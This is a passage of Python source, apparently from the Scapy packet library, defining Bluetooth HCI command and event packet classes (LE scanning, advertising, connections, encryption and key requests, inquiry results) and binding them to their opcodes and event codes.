]\n\n\nclass HCI_Cmd_LE_Set_Advertise_Enable(Packet):\n    name = \"HCI_LE_Set_Advertising_Enable\"\n    fields_desc = [ByteField(\"enable\", 0)]\n\n\nclass HCI_Cmd_LE_Set_Scan_Parameters(Packet):\n    name = \"HCI_LE_Set_Scan_Parameters\"\n    fields_desc = [ByteEnumField(\"type\", 0, {0: \"passive\", 1: \"active\"}),\n                   XLEShortField(\"interval\", 16),\n                   XLEShortField(\"window\", 16),\n                   ByteEnumField(\"atype\", 0, {0: \"public\",\n                                              1: \"random\",\n                                              2: \"rpa (pub)\",\n                                              3: \"rpa (random)\"}),\n                   ByteEnumField(\"policy\", 0, {0: \"all\", 1: \"whitelist\"})]\n\n\nclass HCI_Cmd_LE_Set_Scan_Enable(Packet):\n    name = \"HCI_LE_Set_Scan_Enable\"\n    fields_desc = [ByteField(\"enable\", 1),\n                   ByteField(\"filter_dups\", 1), ]\n\n\nclass HCI_Cmd_LE_Create_Connection(Packet):\n    name = \"HCI_LE_Create_Connection\"\n    fields_desc = [LEShortField(\"interval\", 96),\n                   LEShortField(\"window\", 48),\n                   ByteEnumField(\"filter\", 0, {0: \"address\"}),\n                   ByteEnumField(\"patype\", 0, {0: \"public\", 1: \"random\"}),\n                   LEMACField(\"paddr\", None),\n                   ByteEnumField(\"atype\", 0, {0: \"public\", 1: \"random\"}),\n                   LEShortField(\"min_interval\", 40),\n                   LEShortField(\"max_interval\", 56),\n                   LEShortField(\"latency\", 0),\n                   LEShortField(\"timeout\", 42),\n                   LEShortField(\"min_ce\", 0),\n                   LEShortField(\"max_ce\", 0), ]\n\n\nclass HCI_Cmd_LE_Create_Connection_Cancel(Packet):\n    name = \"HCI_LE_Create_Connection_Cancel\"\n\n\nclass HCI_Cmd_LE_Read_Filter_Accept_List_Size(Packet):\n    name = \"HCI_LE_Read_Filter_Accept_List_Size\"\n\n\nclass HCI_Cmd_LE_Clear_Filter_Accept_List(Packet):\n    name = \"HCI_LE_Clear_Filter_Accept_List\"\n\n\nclass HCI_Cmd_LE_Add_Device_To_Filter_Accept_List(Packet):\n    name = \"HCI_LE_Add_Device_To_Filter_Accept_List\"\n    fields_desc = [ByteEnumField(\"address_type\", 0, {0: \"public\",\n                                                     1: \"random\",\n                                                     0xff: \"anonymous\"}),\n                   LEMACField(\"address\", None)]\n\n\nclass HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List(HCI_Cmd_LE_Add_Device_To_Filter_Accept_List):  # noqa: E501\n    name = \"HCI_LE_Remove_Device_From_Filter_Accept_List\"\n\n\nclass HCI_Cmd_LE_Connection_Update(Packet):\n    name = \"HCI_LE_Connection_Update\"\n    fields_desc = [XLEShortField(\"handle\", 0),\n                   XLEShortField(\"min_interval\", 0),\n                   XLEShortField(\"max_interval\", 0),\n                   XLEShortField(\"latency\", 0),\n                   XLEShortField(\"timeout\", 0),\n                   LEShortField(\"min_ce\", 0),\n                   LEShortField(\"max_ce\", 0xffff), ]\n\n\nclass HCI_Cmd_LE_Read_Remote_Features(Packet):\n    name = \"HCI_LE_Read_Remote_Features\"\n    fields_desc = [LEShortField(\"handle\", 64)]\n\n\nclass HCI_Cmd_LE_Enable_Encryption(Packet):\n    name = \"HCI_LE_Enable_Encryption\"\n    fields_desc = [LEShortField(\"handle\", 0),\n                   StrFixedLenField(\"rand\", None, 8),\n                   XLEShortField(\"ediv\", 0),\n                   StrFixedLenField(\"ltk\", b'\\x00' * 16, 16), ]\n\n\nclass HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet):\n    name = \"HCI_LE_Long_Term_Key_Request_Reply\"\n    fields_desc = [LEShortField(\"handle\", 0),\n                   StrFixedLenField(\"ltk\", b'\\x00' * 16, 16), ]\n\n\nclass HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet):\n    name = \"HCI_LE_Long_Term_Key_Request _Negative_Reply\"\n    fields_desc = [LEShortField(\"handle\", 0), ]\n\n\nclass HCI_Event_Hdr(Packet):\n    name = \"HCI Event header\"\n    fields_desc = [XByteField(\"code\", 0),\n                   LenField(\"len\", None, fmt=\"B\"), ]\n\n    def answers(self, other):\n        if HCI_Command_Hdr not in other:\n            return False\n\n        # Delegate answers to event types\n        return self.payload.answers(other)\n\n\nclass HCI_Event_Inquiry_Complete(Packet):\n    \"\"\"\n    7.7.1 Inquiry Complete event\n    \"\"\"\n    name = \"HCI_Inquiry_Complete\"\n    fields_desc = [\n        ByteEnumField('status', 0, _bluetooth_error_codes)\n    ]\n\n\nclass HCI_Event_Inquiry_Result(Packet):\n    \"\"\"\n    7.7.2 Inquiry Result event\n    \"\"\"\n    name = \"HCI_Inquiry_Result\"\n    fields_desc = [\n        ByteField(\"num_response\", 0x00),\n        FieldListField(\"addr\", None, LEMACField(\"addr\", None),\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"page_scan_repetition_mode\", None,\n                       ByteField(\"page_scan_repetition_mode\", 0),\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"reserved\", None, LEShortField(\"reserved\", 0),\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"device_class\", None, XLE3BytesField(\"device_class\", 0),\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"clock_offset\", None, LEShortField(\"clock_offset\", 0),\n                       count_from=lambda p: p.num_response)\n    ]\n\n\nclass HCI_Event_Connection_Complete(Packet):\n    \"\"\"\n    7.7.3 Connection Complete event\n    \"\"\"\n    name = \"HCI_Connection_Complete\"\n    fields_desc = [ByteEnumField('status', 0, _bluetooth_error_codes),\n                   LEShortField(\"handle\", 0x0100),\n                   LEMACField(\"bd_addr\", None),\n                   ByteEnumField(\"link_type\", 0, {0: \"SCO connection\",\n                                                  1: \"ACL connection\", }),\n                   ByteEnumField(\"encryption_enabled\", 0,\n                                 {0: \"link level encryption disabled\",\n                                  1: \"link level encryption enabled\", }), ]\n\n\nclass HCI_Event_Disconnection_Complete(Packet):\n    \"\"\"\n    7.7.5 Disconnection Complete event\n    \"\"\"\n    name = \"HCI_Disconnection_Complete\"\n    fields_desc = [ByteEnumField(\"status\", 0, _bluetooth_error_codes),\n                   LEShortField(\"handle\", 0),\n                   XByteField(\"reason\", 0), ]\n\n\nclass HCI_Event_Remote_Name_Request_Complete(Packet):\n    \"\"\"\n    7.7.7 Remote Name Request Complete event\n    \"\"\"\n    name = \"HCI_Remote_Name_Request_Complete\"\n    fields_desc = [ByteEnumField(\"status\", 0, _bluetooth_error_codes),\n                   LEMACField(\"bd_addr\", None),\n                   StrFixedLenField(\"remote_name\", b\"\\x00\", 248), ]\n\n\nclass HCI_Event_Encryption_Change(Packet):\n    \"\"\"\n    7.7.8 Encryption Change event\n    \"\"\"\n    name = \"HCI_Encryption_Change\"\n    fields_desc = [ByteEnumField(\"status\", 0, {0: \"change has occurred\"}),\n                   LEShortField(\"handle\", 0),\n                   ByteEnumField(\"enabled\", 0, {0: \"OFF\", 1: \"ON (LE)\", 2: \"ON (BR/EDR)\"}), ]  # noqa: E501\n\n\nclass HCI_Event_Read_Remote_Supported_Features_Complete(Packet):\n    \"\"\"\n    7.7.11 Read Remote Supported Features Complete event\n    \"\"\"\n    name = \"HCI_Read_Remote_Supported_Features_Complete\"\n    fields_desc = [\n        ByteEnumField('status', 0, _bluetooth_error_codes),\n        LEShortField('handle', 0),\n        FlagsField('lmp_features', 0, -64, _bluetooth_features)\n    ]\n\n\nclass HCI_Event_Read_Remote_Version_Information_Complete(Packet):\n    \"\"\"\n    7.7.12 Read Remote Version Information Complete event\n    \"\"\"\n    name = \"HCI_Read_Remote_Version_Information\"\n    fields_desc = [\n        ByteEnumField('status', 0, _bluetooth_error_codes),\n        LEShortField('handle', 0),\n        ByteField('version', 0x00),\n        LEShortField('manufacturer_name', 0x0000),\n        LEShortField('subversion', 0x0000)\n    ]\n\n\nclass HCI_Event_Command_Complete(Packet):\n    \"\"\"\n    7.7.14 Command Complete event\n    \"\"\"\n    name = \"HCI_Command_Complete\"\n    fields_desc = [ByteField(\"number\", 0),\n                   XLEShortField(\"opcode\", 0),\n                   ByteEnumField(\"status\", 0, _bluetooth_error_codes)]\n\n    def answers(self, other):\n        if HCI_Command_Hdr not in other:\n            return False\n\n        return other[HCI_Command_Hdr].opcode == self.opcode\n\n\nclass HCI_Event_Command_Status(Packet):\n    \"\"\"\n    7.7.15 Command Status event\n    \"\"\"\n    name = \"HCI_Command_Status\"\n    fields_desc = [ByteEnumField(\"status\", 0, {0: \"pending\"}),\n                   ByteField(\"number\", 0),\n                   XLEShortField(\"opcode\", None), ]\n\n    def answers(self, other):\n        if HCI_Command_Hdr not in other:\n            return False\n\n        return other[HCI_Command_Hdr].opcode == self.opcode\n\n\nclass HCI_Event_Number_Of_Completed_Packets(Packet):\n    \"\"\"\n    7.7.19 Number Of Completed Packets event\n    \"\"\"\n    name = \"HCI_Number_Of_Completed_Packets\"\n    fields_desc = [ByteField(\"num_handles\", 0),\n                   FieldListField(\"connection_handle_list\", None,\n                                  LEShortField(\"connection_handle\", 0),\n                                  count_from=lambda p: p.num_handles),\n                   FieldListField(\"num_completed_packets_list\", None,\n                                  LEShortField(\"num_completed_packets\", 0),\n                                  count_from=lambda p: p.num_handles)]\n\n\nclass HCI_Event_Link_Key_Request(Packet):\n    \"\"\"\n    7.7.23 Link Key Request event\n    \"\"\"\n    name = 'HCI_Link_Key_Request'\n    fields_desc = [\n        LEMACField('bd_addr', None)\n    ]\n\n\nclass HCI_Event_Inquiry_Result_With_Rssi(Packet):\n    \"\"\"\n    7.7.33 Inquiry Result with RSSI event\n    \"\"\"\n    name = \"HCI_Inquiry_Result_with_RSSI\"\n    fields_desc = [\n        ByteField(\"num_response\", 0x00),\n        FieldListField(\"bd_addr\", None, LEMACField,\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"page_scan_repetition_mode\", None, ByteField,\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"reserved\", None, LEShortField,\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"device_class\", None, XLE3BytesField,\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"clock_offset\", None, LEShortField,\n                       count_from=lambda p: p.num_response),\n        FieldListField(\"rssi\", None, SignedByteField,\n                       count_from=lambda p: p.num_response)\n    ]\n\n\nclass HCI_Event_Read_Remote_Extended_Features_Complete(Packet):\n    \"\"\"\n    7.7.34 Read Remote Extended Features Complete event\n    \"\"\"\n    name = \"HCI_Read_Remote_Extended_Features_Complete\"\n    fields_desc = [\n        ByteEnumField('status', 0, _bluetooth_error_codes),\n        LEShortField('handle', 0),\n        ByteField('page', 0x00),\n        ByteField('max_page', 0x00),\n        XLELongField('extended_features', 0)\n    ]\n\n\nclass HCI_Event_Extended_Inquiry_Result(Packet):\n    \"\"\"\n    7.7.38 Extended Inquiry Result event\n    \"\"\"\n    name = \"HCI_Extended_Inquiry_Result\"\n    fields_desc = [\n        ByteField('num_response', 0x01),\n        LEMACField('bd_addr', None),\n        ByteField('page_scan_repetition_mode', 0x00),\n        ByteField('reserved', 0x00),\n        XLE3BytesField('device_class', 0x000000),\n        LEShortField('clock_offset', 0x0000),\n        SignedByteField('rssi', 0x00),\n        HCI_Extended_Inquiry_Response,\n    ]\n\n\nclass HCI_Event_IO_Capability_Response(Packet):\n    \"\"\"\n    7.7.41 IO Capability Response event\n    \"\"\"\n    name = \"HCI_IO_Capability_Response\"\n    fields_desc = [\n        LEMACField('bd_addr', None),\n        ByteField('io_capability', 0x00),\n        ByteField('oob_data_present', 0x00),\n        ByteField('authentication_requirements', 0x00)\n    ]\n\n\nclass HCI_Event_LE_Meta(Packet):\n    \"\"\"\n    7.7.65 LE Meta event\n    \"\"\"\n    name = \"HCI_LE_Meta\"\n    fields_desc = [ByteEnumField(\"event\", 0, {\n                   0x01: \"connection_complete\",\n                   0x02: \"advertising_report\",\n                   0x03: \"connection_update_complete\",\n                   0x04: \"read_remote_features_page_0_complete\",\n                   0x05: \"long_term_key_request\",\n                   0x06: \"remote_connection_parameter_request\",\n                   0x07: \"data_length_change\",\n                   0x08: \"read_local_p256_public_key_complete\",\n                   0x09: \"generate_dhkey_complete\",\n                   0x0a: \"enhanced_connection_complete_v1\",\n                   0x0b: \"directed_advertising_report\",\n                   0x0c: \"phy_update_complete\",\n                   0x0d: \"extended_advertising_report\",\n                   0x29: \"enhanced_connection_complete_v2\"\n                   }), ]\n\n    def answers(self, other):\n        if not self.payload:\n            return False\n\n        # Delegate answers to payload\n        return self.payload.answers(other)\n\n\nclass HCI_Cmd_Complete_Read_Local_Name(Packet):\n    \"\"\"\n    7.3.12 Read Local Name command complete\n    \"\"\"\n    name = 'Read Local Name command complete'\n    fields_desc = [StrFixedLenField('local_name', '', length=248)]\n\n\nclass HCI_Cmd_Complete_Read_Local_Version_Information(Packet):\n    \"\"\"\n    7.4.1 Read Local Version Information command complete\n    \"\"\"\n    name = 'Read Local Version Information'\n    fields_desc = [\n        ByteEnumField('hci_version', 0, _bluetooth_core_specification_versions),\n        LEShortField('hci_subversion', 0),\n        ByteEnumField('lmp_version', 0, _bluetooth_core_specification_versions),\n        LEShortEnumField('company_identifier', 0, BLUETOOTH_CORE_COMPANY_IDENTIFIERS),\n        LEShortField('lmp_subversion', 0)]\n\n\nclass HCI_Cmd_Complete_Read_Local_Extended_Features(Packet):\n    \"\"\"\n    7.4.4 Read Local Extended Features command complete\n    \"\"\"\n    name = 'Read Local Extended Features command complete'\n    fields_desc = [\n        ByteField('page', 0x00),\n        ByteField('max_page', 0x00),\n        XLELongField('extended_features', 0)\n    ]\n\n\nclass HCI_Cmd_Complete_Read_BD_Addr(Packet):\n    \"\"\"\n    7.4.6 Read BD_ADDR command complete\n    \"\"\"\n    name = \"Read BD Addr\"\n    fields_desc = [LEMACField(\"addr\", None), ]\n\n\nclass HCI_Cmd_Complete_LE_Read_White_List_Size(Packet):\n    name = \"LE Read White List Size\"\n    fields_desc = [ByteField(\"status\", 0),\n                   ByteField(\"size\", 0), ]\n\n\nclass HCI_LE_Meta_Connection_Complete(Packet):\n    name = \"Connection Complete\"\n    fields_desc = [ByteEnumField(\"status\", 0, {0: \"success\"}),\n                   LEShortField(\"handle\", 0),\n                   ByteEnumField(\"role\", 0, {0: \"master\"}),\n                   ByteEnumField(\"patype\", 0, {0: \"public\", 1: \"random\"}),\n                   LEMACField(\"paddr\", None),\n                   LEShortField(\"interval\", 54),\n                   LEShortField(\"latency\", 0),\n                   LEShortField(\"supervision\", 42),\n                   XByteField(\"clock_latency\", 5), ]\n\n    def answers(self, other):\n        if HCI_Cmd_LE_Create_Connection not in other:\n            return False\n\n        return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and\n                other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr)\n\n\nclass HCI_LE_Meta_Connection_Update_Complete(Packet):\n    name = \"Connection Update Complete\"\n    fields_desc = [ByteEnumField(\"status\", 0, {0: \"success\"}),\n                   LEShortField(\"handle\", 0),\n                   LEShortField(\"interval\", 54),\n                   LEShortField(\"latency\", 0),\n                   LEShortField(\"timeout\", 42), ]\n\n\nclass HCI_LE_Meta_Advertising_Report(Packet):\n    name = \"Advertising Report\"\n    fields_desc = [ByteEnumField(\"type\", 0, {0: \"conn_und\", 4: \"scan_rsp\"}),\n                   ByteEnumField(\"atype\", 0, {0: \"public\", 1: \"random\"}),\n                   LEMACField(\"addr\", None),\n                   FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\"),\n                   PacketListField(\"data\", [], EIR_Hdr,\n                                   length_from=lambda pkt: pkt.len),\n                   SignedByteField(\"rssi\", 0)]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass HCI_LE_Meta_Advertising_Reports(Packet):\n    name = \"Advertising Reports\"\n    fields_desc = [FieldLenField(\"len\", None, count_of=\"reports\", fmt=\"B\"),\n                   PacketListField(\"reports\", None,\n                                   HCI_LE_Meta_Advertising_Report,\n                                   count_from=lambda pkt: pkt.len)]\n\n\nclass HCI_LE_Meta_Long_Term_Key_Request(Packet):\n    name = \"Long Term Key Request\"\n    fields_desc = [LEShortField(\"handle\", 0),\n                   StrFixedLenField(\"rand\", None, 8),\n                   XLEShortField(\"ediv\", 0), ]\n\n\nclass HCI_LE_Meta_Extended_Advertising_Report(Packet):\n    name = \"Extended Advertising Report\"\n    fields_desc = [\n        BitField(\"reserved0\", 0, 1),\n        BitEnumField(\"data_status\", 0, 2, {\n            0b00: \"complete\",\n            0b01: \"incomplete\",\n            0b10: \"incomplete_truncated\",\n            0b11: \"reserved\"\n        }),\n        BitField(\"legacy\", 0, 1),\n        BitField(\"scan_response\", 0, 1),\n        BitField(\"directed\", 0, 1),\n        BitField(\"scannable\", 0, 1),\n        BitField(\"connectable\", 0, 1),\n        ByteField(\"reserved\", 0),\n        ByteEnumField(\"address_type\", 0, {\n            0x00: \"public_device_address\",\n            0x01: \"random_device_address\",\n            0x02: \"public_identity_address\",\n            0x03: \"random_identity_address\",\n            0xff: \"anonymous\"\n        }),\n        LEMACField('address', None),\n        ByteEnumField(\"primary_phy\", 0, {\n            0x01: \"le_1m\",\n            0x03: \"le_coded_s8\",\n            0x04: \"le_coded_s2\"\n        }),\n        ByteEnumField(\"secondary_phy\", 0, {\n            0x01: \"le_1m\",\n            0x02: \"le_2m\",\n            0x03: \"le_coded_s8\",\n            0x04: \"le_coded_s2\"\n        }),\n        ByteField(\"advertising_sid\", 0xff),\n        ByteField(\"tx_power\", 0x7f),\n        SignedByteField(\"rssi\", 0x00),\n        LEShortField(\"periodic_advertising_interval\", 0x0000),\n        ByteEnumField(\"direct_address_type\", 0, {\n            0x00: \"public_device_address\",\n            0x01: \"non_resolvable_private_address\",\n            0x02: \"resolvable_private_address_resolved_0\",\n            0x03: \"resolvable_private_address_resolved_1\",\n            0xfe: \"resolvable_private_address_unable_resolve\"}),\n        LEMACField(\"direct_address\", None),\n        FieldLenField(\"data_length\", None, length_of=\"data\", fmt=\"B\"),\n        PacketListField(\"data\", [], EIR_Hdr,\n                        length_from=lambda pkt: pkt.data_length),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass HCI_LE_Meta_Extended_Advertising_Reports(Packet):\n    name = \"Extended Advertising Reports\"\n    fields_desc = [FieldLenField(\"num_reports\", None, count_of=\"reports\", fmt=\"B\"),\n                   PacketListField(\"reports\", None,\n                                   HCI_LE_Meta_Extended_Advertising_Report,\n                                   count_from=lambda pkt: pkt.num_reports)]\n\n\nbind_layers(HCI_PHDR_Hdr, HCI_Hdr)\n\nbind_layers(HCI_Hdr, HCI_Command_Hdr, type=1)\nbind_layers(HCI_Hdr, HCI_ACL_Hdr, type=2)\nbind_layers(HCI_Hdr, HCI_Event_Hdr, type=4)\nbind_layers(HCI_Hdr, conf.raw_layer,)\n\nconf.l2types.register(DLT_BLUETOOTH_HCI_H4, HCI_Hdr)\nconf.l2types.register(DLT_BLUETOOTH_HCI_H4_WITH_PHDR, HCI_PHDR_Hdr)\n\n\n# 7.1 LINK CONTROL COMMANDS, the OGF is defined as 0x01\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Inquiry, ogf=0x01, ocf=0x0001)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Inquiry_Cancel, ogf=0x01, ocf=0x0002)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Periodic_Inquiry_Mode, ogf=0x01, ocf=0x0003)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Exit_Peiodic_Inquiry_Mode, ogf=0x01, ocf=0x0004)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Create_Connection, ogf=0x01, ocf=0x0005)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Disconnect, ogf=0x01, ocf=0x0006)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Create_Connection_Cancel, ogf=0x01, ocf=0x0008)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Accept_Connection_Request, ogf=0x01, ocf=0x0009)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Reject_Connection_Response, ogf=0x01, ocf=0x000a)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Link_Key_Request_Reply, ogf=0x01, ocf=0x000b)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Link_Key_Request_Negative_Reply,\n            ogf=0x01, ocf=0x000c)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_PIN_Code_Request_Reply, ogf=0x01, ocf=0x000d)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Change_Connection_Packet_Type,\n            ogf=0x01, ocf=0x000f)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Authentication_Requested, ogf=0x01, ocf=0x0011)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Connection_Encryption, ogf=0x01, ocf=0x0013)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Change_Connection_Link_Key, ogf=0x01, ocf=0x0017)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_Name_Request, ogf=0x01, ocf=0x0019)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_Name_Request_Cancel, ogf=0x01, ocf=0x001a)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Remote_Supported_Features,\n            ogf=0x01, ocf=0x001b)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Remote_Extended_Features,\n            ogf=0x01, ocf=0x001c)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_IO_Capability_Request_Reply, ogf=0x01, ocf=0x002b)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_User_Confirmation_Request_Reply,\n            ogf=0x01, ocf=0x002c)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_User_Confirmation_Request_Negative_Reply,\n            ogf=0x01, ocf=0x002d)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_User_Passkey_Request_Reply, ogf=0x01, ocf=0x002e)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_User_Passkey_Request_Negative_Reply,\n            ogf=0x01, ocf=0x002f)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_OOB_Data_Request_Reply,\n            ogf=0x01, ocf=0x0030)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply,\n            ogf=0x01, ocf=0x0033)\n\n# 7.2 Link Policy commands, the OGF is defined as 0x02\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Hold_Mode, ogf=0x02, ocf=0x0001)\n\n# 7.3 CONTROLLER & BASEBAND COMMANDS, the OGF is defined as 0x03\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, ogf=0x03, ocf=0x0001)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Reset, ogf=0x03, ocf=0x0003)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, ogf=0x03, ocf=0x0005)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Local_Name, ogf=0x03, ocf=0x0013)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Name, ogf=0x03, ocf=0x0014)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Connect_Accept_Timeout, ogf=0x03, ocf=0x0016)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Extended_Inquiry_Response, ogf=0x03, ocf=0x0052)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_LE_Host_Support, ogf=0x03, ocf=0x006c)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Write_LE_Host_Support, ogf=0x03, ocf=0x006d)\n\n# 7.4 INFORMATIONAL PARAMETERS, the OGF is defined as 0x04\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Version_Information, ogf=0x04, ocf=0x0001)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Extended_Features, ogf=0x04, ocf=0x0004)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, ogf=0x04, ocf=0x0009)\n\n# 7.5 STATUS PARAMETERS, the OGF is defined as 0x05\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Link_Quality, ogf=0x05, ocf=0x0003)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_RSSI, ogf=0x05, ocf=0x0005)\n\n# 7.6 TESTING COMMANDS, the OGF is defined as 0x06\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Loopback_Mode, ogf=0x06, ocf=0x0001)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Loopback_Mode, ogf=0x06, ocf=0x0002)\n\n# 7.8 LE CONTROLLER COMMANDS, the OGF code is defined as 0x08\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size_V1, ogf=0x08, ocf=0x0002)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size_V2, ogf=0x08, ocf=0x0060)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Local_Supported_Features,\n            ogf=0x08, ocf=0x0003)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, ogf=0x08, ocf=0x0005)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, ogf=0x08, ocf=0x0006)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, ogf=0x08, ocf=0x0008)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Response_Data, ogf=0x08, ocf=0x0009)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, ogf=0x08, ocf=0x000a)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, ogf=0x08, ocf=0x000b)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, ogf=0x08, ocf=0x000c)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, ogf=0x08, ocf=0x000d)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, ogf=0x08, ocf=0x000e)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Filter_Accept_List_Size,\n            ogf=0x08, ocf=0x000f)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Clear_Filter_Accept_List, ogf=0x08, ocf=0x0010)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Add_Device_To_Filter_Accept_List, ogf=0x08, ocf=0x0011)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List, ogf=0x08, ocf=0x0012)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, ogf=0x08, ocf=0x0013)\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Remote_Features, ogf=0x08, ocf=0x0016)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Enable_Encryption, ogf=0x08, ocf=0x0019)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, ogf=0x08, ocf=0x001a)  # noqa: E501\nbind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, ogf=0x08, ocf=0x001b)  # noqa: E501\n\n# 7.7 EVENTS\nbind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Complete, code=0x01)\nbind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Result, code=0x02)\nbind_layers(HCI_Event_Hdr, HCI_Event_Connection_Complete, code=0x03)\nbind_layers(HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x05)\nbind_layers(HCI_Event_Hdr, HCI_Event_Remote_Name_Request_Complete, code=0x07)\nbind_layers(HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x08)\nbind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Supported_Features_Complete, code=0x0b)\nbind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Version_Information_Complete, code=0x0c)  # noqa: E501\nbind_layers(HCI_Event_Hdr, HCI_Event_Command_Complete, code=0x0e)\nbind_layers(HCI_Event_Hdr, HCI_Event_Command_Status, code=0x0f)\nbind_layers(HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13)\nbind_layers(HCI_Event_Hdr, HCI_Event_Link_Key_Request, code=0x17)\nbind_layers(HCI_Event_Hdr, HCI_Event_Inquiry_Result_With_Rssi, code=0x22)\nbind_layers(HCI_Event_Hdr, HCI_Event_Read_Remote_Extended_Features_Complete, code=0x23)\nbind_layers(HCI_Event_Hdr, HCI_Event_Extended_Inquiry_Result, code=0x2f)\nbind_layers(HCI_Event_Hdr, HCI_Event_IO_Capability_Response, code=0x32)\nbind_layers(HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e)\n\nbind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Name, opcode=0x0c14)  # noqa: E501\nbind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Version_Information, opcode=0x1001)  # noqa: E501\nbind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Extended_Features, opcode=0x1004)  # noqa: E501\nbind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009)  # noqa: E501\nbind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_LE_Read_White_List_Size, opcode=0x200f)  # noqa: E501\n\nbind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=0x01)\nbind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Reports, 